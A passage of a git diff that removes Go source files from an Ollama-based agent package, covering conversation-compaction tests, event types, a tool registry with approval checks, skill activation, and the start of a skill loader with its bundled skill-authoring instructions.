-		t.Fatalf("compaction result = %#v", result)
-	}
-	if len(client.requests) != 3 {
-		t.Fatalf("summary requests = %d, want 3", len(client.requests))
-	}
-	if client.requests[0].Think != thinkHigh {
-		t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
-	}
-	if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
-		t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
-	}
-	if client.requests[2].Think != nil {
-		t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
-	}
-}
-
-func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "short summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 16000,
-		KeepUserTurns:       3,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID: "chat-1",
-		Model:  "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "latest request"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if len(result.Messages) != 3 {
-		t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
-	}
-	assertCompactionSummaryPair(t, result.Messages[:2])
-	if result.Messages[2].Content != "latest request" {
-		t.Fatalf("latest turn was not kept: %#v", result.Messages)
-	}
-}
-
-func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "whole summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       3,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID: "chat-1",
-		Model:  "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "only request"},
-			{Role: "assistant", Content: "only answer"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if len(result.Messages) != 2 {
-		t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
-	}
-	assertCompactionSummaryPair(t, result.Messages)
-}
-
-func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
-	client := &fakeClient{}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		Threshold:           0.8,
-	}}
-
-	messages := []api.Message{
-		{Role: "user", Content: "one"},
-		{Role: "user", Content: "two"},
-		{Role: "user", Content: "three"},
-		{Role: "user", Content: "four"},
-		{Role: "user", Content: "five"},
-	}
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model:    "model",
-		Messages: messages,
-		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Compacted {
-		t.Fatal("did not expect compaction")
-	}
-	if result.Due {
-		t.Fatal("below-threshold compaction should not be due")
-	}
-	if len(result.Messages) != len(messages) {
-		t.Fatalf("messages changed below threshold: %#v", result.Messages)
-	}
-	if len(client.requests) != 0 {
-		t.Fatalf("summary requests = %d, want 0", len(client.requests))
-	}
-}
-
-func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.8,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old request"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "read large output"},
-			{Role: "assistant", ToolCalls: []api.ToolCall{{
-				ID: "call-1",
-				Function: api.ToolCallFunction{
-					Name: "read",
-				},
-			}}},
-			{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
-		},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Due || !result.Compacted {
-		t.Fatalf("expected estimate-driven compaction, got %#v", result)
-	}
-	if result.Summary != "estimated summary" {
-		t.Fatalf("summary = %q", result.Summary)
-	}
-}
-
-func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
-	compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		Threshold:           0.8,
-	}}
-
-	if !compactor.shouldCompact(CompactionRequest{
-		SystemPrompt: strings.Repeat("system ", 360),
-		Messages:     []api.Message{{Role: "user", Content: "tiny"}},
-	}) {
-		t.Fatal("system prompt should count toward compaction estimate")
-	}
-
-	if !compactor.shouldCompact(CompactionRequest{
-		Messages: []api.Message{{Role: "user", Content: "tiny"}},
-		Tools: api.Tools{{
-			Type: "function",
-			Function: api.ToolFunction{
-				Name:        "verbose_tool",
-				Description: strings.Repeat("description ", 360),
-			},
-		}},
-	}) {
-		t.Fatal("tool definitions should count toward compaction estimate")
-	}
-}
-
-func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
-	largeToolOutput := strings.Repeat("x", 10_000)
-	body, err := compactionPrompt("", []api.Message{
-		{Role: "user", Content: "what changed?"},
-		{Role: "assistant", ToolCalls: []api.ToolCall{{
-			ID: "call-1",
-			Function: api.ToolCallFunction{
-				Name: "bash",
-			},
-		}}},
-		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
-	}, 300)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if estimateCompactionTokens(body) > 300 {
-		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
-	}
-	if strings.Count(body, "x") >= len(largeToolOutput) {
-		t.Fatal("large tool output was not truncated")
-	}
-	if !strings.Contains(body, "[tool output truncated: showing first ~") {
-		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
-	}
-}
-
-func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
-	alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
-	body, err := compactionPrompt("", []api.Message{
-		{Role: "user", Content: "what changed?"},
-		{Role: "assistant", ToolCalls: []api.ToolCall{{
-			ID: "call-1",
-			Function: api.ToolCallFunction{
-				Name: "bash",
-			},
-		}}},
-		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
-	}, 300)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if estimateCompactionTokens(body) > 300 {
-		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
-	}
-	if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
-		t.Fatal("already-truncated tool output was not truncated again")
-	}
-	if !strings.Contains(body, "[tool output truncated: showing first ~") {
-		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
-	}
-}
-
-func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
-	content := compactionSummaryMessageForTask("worked on branch changes", false)
-	if got := CompactionSummaryText(content); got != "worked on branch changes" {
-		t.Fatalf("summary text = %q", got)
-	}
-}
-
-func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
-	content := compactionSummaryMessageForTask("worked on branch changes", true)
-	if !strings.Contains(content, CompactionContinueInstruction) {
-		t.Fatalf("summary message missing continue instruction: %q", content)
-	}
-	if got := CompactionSummaryText(content); got != "worked on branch changes" {
-		t.Fatalf("summary text = %q", got)
-	}
-}
-
-func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
-	tests := []struct {
-		name       string
-		options    map[string]any
-		configured int
-		want       int
-	}{
-		{
-			name:       "explicit smaller num ctx",
-			options:    map[string]any{"num_ctx": 4096},
-			configured: 8192,
-			want:       4096,
-		},
-		{
-			name:       "explicit num ctx can exceed configured metadata",
-			options:    map[string]any{"num_ctx": 131072},
-			configured: 8192,
-			want:       131072,
-		},
-		{
-			name:       "metadata without explicit num ctx",
-			configured: 32768,
-			want:       32768,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
-				t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
-			}
-		})
-	}
-}
-
-func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "forced summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 100,
-		KeepUserTurns:       1,
-		Threshold:           0.8,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent"},
-		},
-		Force: true,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Due || !result.Compacted {
-		t.Fatalf("forced compaction result = %#v", result)
-	}
-	if result.Summary != "forced summary" {
-		t.Fatalf("summary = %q", result.Summary)
-	}
-}
-
-func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 16000,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		ChatID: "chat-1",
-		Model:  "model",
-		Messages: []api.Message{
-			{Role: "user", Content: "old"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "one"},
-			{Role: "assistant", Content: "one answer"},
-			{Role: "user", Content: "two"},
-			{Role: "assistant", Content: "two answer"},
-			{Role: "user", Content: "three"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	assertCompactionSummaryPair(t, result.Messages[:2])
-	if got := result.Messages[2].Content; got != "one" {
-		t.Fatalf("first kept turn = %q, want one", got)
-	}
-}
-
-func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "new summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 16000,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model: "model",
-		Messages: []api.Message{
-			{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
-			{Role: "user", Content: "old"},
-			{Role: "assistant", Content: "old answer"},
-			{Role: "user", Content: "recent"},
-		},
-		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
-		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
-	}
-}
-
-func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
-	client := &fakeClient{
-		responses: [][]api.ChatResponse{{
-			{Message: api.Message{Role: "assistant", Content: "new summary"}},
-		}},
-	}
-	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
-		ContextWindowTokens: 16000,
-		KeepUserTurns:       1,
-		Threshold:           0.5,
-	}}
-
-	messages := []api.Message{
-		{Role: "user", Content: "kept before old summary"},
-		CompactionSummaryMessages("old summary", false)[0],
-		CompactionSummaryMessages("old summary", false)[1],
-		{Role: "user", Content: "latest request"},
-	}
-	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
-		Model:    "model",
-		Messages: messages,
-		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !result.Compacted {
-		t.Fatal("expected compaction")
-	}
-	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
-		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
-	}
-	if len(result.Messages) != 3 {
-		t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
-	}
-	assertCompactionSummaryPair(t, result.Messages[:2])
-	if result.Messages[2].Content != "latest request" {
-		t.Fatalf("kept suffix = %#v", result.Messages)
-	}
-}

agent/events.go

@@ -1,177 +0,0 @@
-package agent
-
-import (
-	"context"
-	"errors"
-
-	"github.com/ollama/ollama/api"
-)
-
-type EventType string
-
-const (
-	EventMessageDelta       EventType = "message_delta"
-	EventThinkingDelta      EventType = "thinking_delta"
-	EventToolCallDetected   EventType = "tool_call_detected"
-	EventToolStarted        EventType = "tool_started"
-	EventToolFinished       EventType = "tool_finished"
-	EventCompactionStarted  EventType = "compaction_started"
-	EventCompactionProgress EventType = "compaction_progress"
-	EventCompacted          EventType = "compacted"
-	EventCompactionSkipped  EventType = "compaction_skipped"
-	EventRunFinished        EventType = "run_finished"
-	EventError              EventType = "error"
-)
-
-// ToolStatus is the typed lifecycle state for a tool call, carried on
-// Event.ToolStatus for tool events.
-type ToolStatus string
-
-const (
-	ToolStatusRunning  ToolStatus = "running"
-	ToolStatusDone     ToolStatus = "done"
-	ToolStatusFailed   ToolStatus = "failed"
-	ToolStatusDenied   ToolStatus = "denied"
-	ToolStatusDisabled ToolStatus = "disabled"
-	ToolStatusSkipped  ToolStatus = "skipped"
-)
-
-// RunStatus is the typed terminal outcome of a run, carried on Event.Status for
-// run_finished events.
-type RunStatus string
-
-const (
-	RunStatusDone     RunStatus = "done"
-	RunStatusDenied   RunStatus = "denied"
-	RunStatusCanceled RunStatus = "canceled"
-)
-
-// CompactionTrigger is the typed reason a compaction ran or was attempted,
-// carried on Event.CompactionTrigger for compaction events.
-type CompactionTrigger string
-
-const (
-	CompactionTriggerForce      CompactionTrigger = "force"
-	CompactionTriggerPromptEval CompactionTrigger = "prompt_eval"
-	CompactionTriggerEstimate   CompactionTrigger = "estimate"
-	CompactionTriggerToolOutput CompactionTrigger = "tool_output"
-	CompactionTriggerError      CompactionTrigger = "error"
-	CompactionTriggerDue        CompactionTrigger = "due"
-)
-
-type Event struct {
-	Type              EventType         `json:"type"`
-	RunID             string            `json:"runId,omitempty"`
-	ChatID            string            `json:"chatId,omitempty"`
-	Model             string            `json:"model,omitempty"`
-	Status            RunStatus         `json:"status,omitempty"`
-	ToolStatus        ToolStatus        `json:"toolStatus,omitempty"`
-	CompactionTrigger CompactionTrigger `json:"compactionTrigger,omitempty"`
-	ToolCallID        string            `json:"toolCallId,omitempty"`
-	ToolName          string            `json:"toolName,omitempty"`
-	WorkingDir        string            `json:"workingDir,omitempty"`
-	Content           string            `json:"content,omitempty"`
-	Thinking          string            `json:"thinking,omitempty"`
-	ToolCalls         []api.ToolCall    `json:"toolCalls,omitempty"`
-	Messages          []api.Message     `json:"messages,omitempty"`
-	Args              map[string]any    `json:"args,omitempty"`
-	Tokens            int               `json:"tokens,omitempty"`
-	Error             string            `json:"error,omitempty"`
-}
-
-type EventSink interface {
-	Emit(Event) error
-}
-
-type EventSinkFunc func(Event) error
-
-func (fn EventSinkFunc) Emit(event Event) error {
-	if fn == nil {
-		return nil
-	}
-	return fn(event)
-}
-
-// eventMetadata carries the run identification fields shared by all events.
-type eventMetadata struct {
-	runID  string
-	chatID string
-	model  string
-}
-
-func newEventMetadata(runID string, opts RunOptions) eventMetadata {
-	return eventMetadata{runID: runID, chatID: opts.ChatID, model: opts.Model}
-}
-
-func newMessageDelta(m eventMetadata, content string) Event {
-	return Event{Type: EventMessageDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Content: content}
-}
-
-func newThinkingDelta(m eventMetadata, thinking string) Event {
-	return Event{Type: EventThinkingDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Thinking: thinking}
-}
-
-func newToolCallDetected(m eventMetadata, calls []api.ToolCall) Event {
-	return Event{Type: EventToolCallDetected, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolCalls: calls}
-}
-
-func newToolStarted(m eventMetadata, callID, toolName, workingDir string, args map[string]any) Event {
-	return Event{Type: EventToolStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: ToolStatusRunning, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args}
-}
-
-func newToolFinished(m eventMetadata, status ToolStatus, callID, toolName, workingDir string, args map[string]any, content, errMsg string) Event {
-	ev := Event{Type: EventToolFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: status, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args, Content: content}
-	if errMsg != "" {
-		ev.Error = errMsg
-	}
-	return ev
-}
-
-func newRunFinished(m eventMetadata, status RunStatus) Event {
-	return Event{Type: EventRunFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, Status: status}
-}
-
-func newErrorEvent(m eventMetadata, errMsg string) Event {
-	return Event{Type: EventError, RunID: m.runID, ChatID: m.chatID, Model: m.model, Error: errMsg}
-}
-
-func newCompactionProgress(m eventMetadata, tokens int) Event {
-	return Event{Type: EventCompactionProgress, RunID: m.runID, ChatID: m.chatID, Model: m.model, Tokens: tokens}
-}
-
-func newCompactionStarted(m eventMetadata, trigger CompactionTrigger) Event {
-	return Event{Type: EventCompactionStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger}
-}
-
-func newCompactionSkipped(m eventMetadata, trigger CompactionTrigger, content string) Event {
-	return Event{Type: EventCompactionSkipped, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content}
-}
-
-func newCompacted(m eventMetadata, messages []api.Message, trigger CompactionTrigger, content string) Event {
-	return Event{Type: EventCompacted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content, Messages: messages}
-}
-
-func (s *Session) emit(event Event) error {
-	if s == nil {
-		return nil
-	}
-	var errs []error
-	for _, sink := range s.EventSinks {
-		if sink == nil {
-			continue
-		}
-		if err := sink.Emit(event); err != nil {
-			errs = append(errs, err)
-		}
-	}
-	return errors.Join(errs...)
-}
-
-func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
-	err := s.emit(event)
-	if err != nil && ctx != nil && ctx.Err() != nil {
-		//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
-		return nil
-	}
-	return err
-}

agent/registry.go

@@ -1,104 +0,0 @@
-package agent
-
-import (
-	"context"
-	"fmt"
-	"sort"
-
-	"github.com/ollama/ollama/api"
-)
-
-type ToolContext struct {
-	WorkingDir string
-}
-
-type ToolResult struct {
-	Content    string
-	WorkingDir string
-}
-
-type Tool interface {
-	Name() string
-	Description() string
-	Schema() api.ToolFunction
-	Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
-}
-
-type ApprovalRequired interface {
-	RequiresApproval(map[string]any) bool
-}
-
-// ScopedTool is implemented by tools that need per-invocation approval
-// scoping beyond the tool name (e.g. shell commands scoped to the exact
-// command string). Tools that don't implement this are scoped by name only.
-type ScopedTool interface {
-	ApprovalScope(args map[string]any) string
-}
-
-type Registry struct {
-	tools map[string]Tool
-}
-
-func (r *Registry) Register(tool Tool) {
-	if r == nil || tool == nil {
-		return
-	}
-	if r.tools == nil {
-		r.tools = make(map[string]Tool)
-	}
-	r.tools[tool.Name()] = tool
-}
-
-func (r *Registry) Get(name string) (Tool, bool) {
-	if r == nil {
-		return nil, false
-	}
-	tool, ok := r.tools[name]
-	return tool, ok
-}
-
-func (r *Registry) Names() []string {
-	if r == nil {
-		return nil
-	}
-	names := make([]string, 0, len(r.tools))
-	for name := range r.tools {
-		names = append(names, name)
-	}
-	sort.Strings(names)
-	return names
-}
-
-func (r *Registry) Tools() api.Tools {
-	if r == nil {
-		return nil
-	}
-	names := r.Names()
-	apiTools := make(api.Tools, 0, len(names))
-	for _, name := range names {
-		tool := r.tools[name]
-		apiTools = append(apiTools, api.Tool{
-			Type:     "function",
-			Function: tool.Schema(),
-		})
-	}
-	return apiTools
-}
-
-func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
-	tool, ok := r.Get(call.Function.Name)
-	if !ok {
-		return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
-	}
-	return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
-}
-
-func ToolRequiresApproval(tool Tool, args map[string]any) bool {
-	if tool == nil {
-		return false
-	}
-	if t, ok := tool.(ApprovalRequired); ok {
-		return t.RequiresApproval(args)
-	}
-	return false
-}

agent/skill_activation.go

@@ -1,57 +0,0 @@
-package agent
-
-import (
-	"context"
-	"strings"
-
-	"github.com/google/uuid"
-
-	"github.com/ollama/ollama/api"
-)
-
-// activateSkill loads opts.SkillName from the catalog and injects a synthetic
-// assistant tool call plus tool result before the first model request, so the
-// transcript looks like a real skill tool invocation. It emits the same
-// tool_call_detected -> tool_started -> tool_finished lifecycle the model path
-// uses, and returns the messages to prepend. A blank SkillName is a no-op.
-func (s *Session) activateSkill(ctx context.Context, runID string, opts RunOptions) ([]api.Message, error) {
-	name := strings.TrimSpace(opts.SkillName)
-	if name == "" {
-		return nil, nil
-	}
-	select {
-	case <-ctx.Done():
-		return nil, ctx.Err()
-	default:
-	}
-	skill, err := s.Skills.Load(name)
-	if err != nil {
-		return nil, err
-	}
-	args := api.NewToolCallFunctionArguments()
-	args.Set("name", skill.Name)
-	call := api.ToolCall{
-		ID:       "call_skill_" + uuid.NewString(),
-		Function: api.ToolCallFunction{Name: "skill", Arguments: args},
-	}
-	result := api.Message{
-		Role:       "tool",
-		ToolName:   "skill",
-		ToolCallID: call.ID,
-		Content:    skill.Content(),
-	}
-	meta := newEventMetadata(runID, opts)
-	if err := s.emit(newToolCallDetected(meta, []api.ToolCall{call})); err != nil {
-		return nil, err
-	}
-	if err := s.emit(newToolStarted(meta, call.ID, "skill", s.currentWorkingDir(), args.ToMap())); err != nil {
-		return nil, err
-	}
-	if err := s.emitIgnoringCanceled(ctx, newToolFinished(meta, ToolStatusDone, call.ID, "skill", s.currentWorkingDir(), args.ToMap(), result.Content, "")); err != nil {
-		return nil, err
-	}
-	return []api.Message{
-		{Role: "assistant", ToolCalls: []api.ToolCall{call}},
-		result,
-	}, nil
-}

agent/skill_activation_test.go

@@ -1,74 +0,0 @@
-package agent
-
-import (
-	"context"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/ollama/ollama/api"
-)
-
-type skillTestClient struct{ requests []*api.ChatRequest }
-
-func (c *skillTestClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
-	c.requests = append(c.requests, req)
-	return fn(api.ChatResponse{Message: api.Message{Role: "assistant", Content: "Done."}})
-}
-
-func testSkillCatalog(t *testing.T) *SkillCatalog {
-	t.Helper()
-	dir := t.TempDir()
-	path := filepath.Join(dir, "release-notes")
-	if err := os.Mkdir(path, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	catalog, err := DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	return catalog
-}
-
-func TestSessionSkillActivationPreservesCallAndResultOrder(t *testing.T) {
-	catalog := testSkillCatalog(t)
-	client := &skillTestClient{}
-	events := &recordingEventSink{}
-	result, err := (&Session{Client: client, Skills: catalog, EventSinks: []EventSink{events}}).Run(context.Background(), RunOptions{
-		Model:       "test",
-		NewMessages: []api.Message{{Role: "user", Content: "draft release notes"}},
-		SkillName:   "release-notes",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(result.Messages) != 4 {
-		t.Fatalf("transcript = %#v", result.Messages)
-	}
-	call, toolTranscript := result.Messages[1], result.Messages[2]
-	if call.Role != "assistant" || len(call.ToolCalls) != 1 || call.ToolCalls[0].Function.Name != "skill" || !strings.HasPrefix(call.ToolCalls[0].ID, "call_skill_") {
-		t.Fatalf("call message = %#v", call)
-	}
-	if toolTranscript.Role != "tool" || toolTranscript.ToolName != "skill" || toolTranscript.ToolCallID != call.ToolCalls[0].ID || !strings.Contains(toolTranscript.Content, "Use concise bullets.") {
-		t.Fatalf("tool result = %#v", toolTranscript)
-	}
-	if len(client.requests) != 1 || len(client.requests[0].Messages) != 3 || client.requests[0].Messages[2].ToolCallID != call.ToolCalls[0].ID {
-		t.Fatalf("model request did not preserve transcript: %#v", client.requests)
-	}
-	var skillEvents []EventType
-	for _, event := range events.events {
-		if event.ToolName == "skill" || event.Type == EventToolCallDetected {
-			skillEvents = append(skillEvents, event.Type)
-		}
-	}
-	if len(skillEvents) < 3 {
-		t.Fatalf("skill event order = %#v, want tool_call_detected,tool_started,tool_finished", skillEvents)
-	}
-	if got, want := strings.Join([]string{string(skillEvents[0]), string(skillEvents[1]), string(skillEvents[2])}, ","), "tool_call_detected,tool_started,tool_finished"; got != want {
-		t.Fatalf("skill event order = %#v, want %s", skillEvents, want)
-	}
-}

agent/skills.go

@@ -1,813 +0,0 @@
-package agent
-
-import (
-	"bytes"
-	"errors"
-	"fmt"
-	"io"
-	"io/fs"
-	"os"
-	"path/filepath"
-	"regexp"
-	"sort"
-	"strings"
-
-	"gopkg.in/yaml.v3"
-)
-
-const (
-	// SkillsDirEnv overrides the user-level Ollama-owned skills directory. The
-	// cross-client .agents/skills/ convention and project-level .ollama/skills/
-	// are also scanned (see LoadDefaultSkills); on a name collision, Ollama-owned
-	// directories take precedence over .agents/skills/, and project-level takes
-	// precedence over user-level.
-	SkillsDirEnv  = "OLLAMA_SKILLS"
-	skillFilename = "SKILL.md"
-	maxSkillBytes = 1 << 20
-
-	bundledSkillCreatorName    = "skill-creator"
-	bundledSkillCreatorContent = `---
-name: skill-creator
-description: Create or improve reusable skills. Use when the user wants a reusable skill, asks how to author SKILL.md, or needs help installing a skill.
----
-
-# Create a skill
-
-Create a focused, reusable instruction package. Treat a skill as guidance for the model, not as a way to gain new permissions or bypass safety controls.
-
-## Choose the location
-
-Create user skills beside this one. The skill directory shown in the loaded skill context is this skill's location; its parent is the user skill root. This bundled skill normally lives at ~/.ollama/skills/skill-creator, so new user skills normally go at ~/.ollama/skills/<skill-name>/SKILL.md.
-
-Use a project-local skill directory only when the user asks to keep the skill with that project. Do not overwrite an existing skill without the user's approval. New and changed skills are discovered when the agent starts, so tell the user to begin a new agent session afterward.
-
-## Follow the required shape
-
-Use the directory name as the skill name. Use lowercase letters, numbers, and single hyphens only. Keep the name short and no longer than 64 characters.
-
-Every skill needs a SKILL.md with YAML frontmatter followed by Markdown instructions:
-
-~~~md
----
-name: release-notes
-description: Draft concise release notes from completed changes. Use when the user asks for a changelog, release notes, or GitHub release copy.
----
-
-# Draft release notes
-
-Write the workflow here.
-~~~
-
-Require a non-empty description that says both what the skill does and when to use it. Keep the body procedural and concise. Put detailed schemas, long examples, and variant-specific guidance in references/ only when the skill needs them.
-
-Use scripts/ for repeatable or fragile operations that benefit from deterministic execution. Use assets/ for files that belong in generated output. Do not add README files, changelogs, or setup notes that do not help the model perform the task.
-
-## Create safely
-
-1. Identify the repeated task, expected inputs, and useful output.
-2. Choose the smallest name and description that reliably trigger the skill.
-3. Create the folder and SKILL.md; add resources only when they remove real repeated work.
-4. Re-read the completed file and verify its frontmatter, directory-name match, and relative resource paths.
-5. Tell the user where it was created and that a new agent session will discover it.
-
-Skills provide instructions only. They do not grant filesystem, network, shell, or approval privileges, and they do not make a tool available. Use only the tools that are actually available, follow their normal approval rules, and ask before actions that need user authorization.
-`
-)
-
-var skillName = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`)
-
-// SkillsDir returns the canonical runtime-owned skill directory.
-func SkillsDir() (string, error) {
-	if path := strings.TrimSpace(os.Getenv(SkillsDirEnv)); path != "" {
-		return filepath.Abs(path)
-	}
-	if xdg := strings.TrimSpace(os.Getenv("XDG_CONFIG_HOME")); xdg != "" {
-		return filepath.Join(xdg, "ollama", "skills"), nil
-	}
-	home, err := os.UserHomeDir()
-	if err != nil {
-		return "", err
-	}
-	return filepath.Join(home, ".ollama", "skills"), nil
-}
-
-// Skill is a validated, loadable instruction set. It never grants tool
-// permissions; it is supplied to the model as ordinary tool-result content.
-type Skill struct {
-	Name         string
-	Description  string
-	Instructions string
-	Path         string
-}
-
-func (s Skill) Content() string {
-	var b strings.Builder
-	fmt.Fprintf(&b, "<skill name=%q>\n%s\n", s.Name, strings.TrimSpace(s.Instructions))
